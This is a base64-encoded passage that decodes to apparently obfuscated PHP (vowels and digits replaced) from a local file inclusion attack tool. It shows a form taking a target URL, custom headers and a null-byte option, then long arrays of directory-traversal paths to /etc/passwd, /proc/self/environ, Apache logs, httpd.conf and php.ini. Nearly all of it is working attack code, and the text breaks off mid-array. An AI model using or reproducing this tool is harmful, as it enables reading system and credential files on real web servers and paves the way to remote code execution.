CAgICA8MnB0NDJuIHYxbDM1PSIlMDAiPiANCiAgICAgICAgICAgIFk1cyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSIiPiANCiAgICAgICAgICAgIE4yIA0KICAgICAgICAgPC8ycHQ0Mm4+IA0KICAgICAgPC9zNWw1Y3Q+IFVzNXItQWc1bnQ6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJhMCIgbjFtNT0iYzNzdDJtX2g1MWQ1ciIgdjFsMzU9IiI+IA0KICAgPC9mMnJtPic7IA0KICAgNXJyMnJfcjVwMnJ0NG5nKDApOyANCiAgICAgIDRmKCRfUE9TVFsnbGY0M3JsJ10pIHsgDQogICAgICAgICBwcjRudCAiPHByNT4iOyANCiAgICAgICAgICRjaDUxZDVyID0gJF9QT1NUWydjM3N0Mm1faDUxZDVyJ107IA0KICAgICAgICAgJHQxcmc1dCA9ICRfUE9TVFsnbGY0M3JsJ107IA0KICAgICAgICAgJHR5cDUgPSAkX1BPU1RbJ3NjMW50eXA1J107IA0KICAgICAgICAgJGJ5dDU2ID0gJF9QT1NUWyduM2xsJ107IA0KICAgICAgICAgJGxmNHQ1c3QgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3Axc3N3ZCIuJGJ5dDU2LiIiOyANCiAgICAgICAgICRsZjR0NXN0YSA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9mMWs1L2Y0bDUiLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0cHIyYzVudiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjJjLzVudjRyMm4iLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0MWNjNXNzID0gMXJyMXkoIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1L2wyZ3MvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci93d3cvbDJncy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1YS8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1LzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9odHRwZC8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L3gxbXBwL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQvbDFtcHAvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAkbGY0NXJyMnIgPSAxcnIxeSggDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDUvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDYwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzFwMWNoNS81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZpID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvaHR0cGQvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQveDFtcHAvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L2wxbXBwL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiKTsgDQogIA0KICAgICAgICAgJGxmNGMybmY0ZyA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2h0dHBkL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvaHR0cGQvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9odHRwZC9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNnUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDVhL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByNHYxdDUvNXRjL2h0dHBkL2h0dHBkLmMybmYuZDVmMTNsdCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC8ycHQvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVjJsM201cy93NWJCMWNrM3AvcHI0djF0NS81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mLmQ1ZjEzbHQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocC9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8wID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwdS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG91ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2kgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1L3ZoMnN0cy5jMm5mIi4kYnl0NTYuIiIpOyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgJGxmNHBocDRuNCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYjRuL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvNXRjL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2w0Yi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocGkvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNS9jMm5mL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUudS9mY2c0L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2byA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2dSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1YS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC9waHB1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC8xcDFjaDUvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93NWIvYzJuZi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC9aNW5kLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC81dGMvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJjMWwvd3d3L2MybmYvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFpID0+ICIuLi8uLi8uLi8u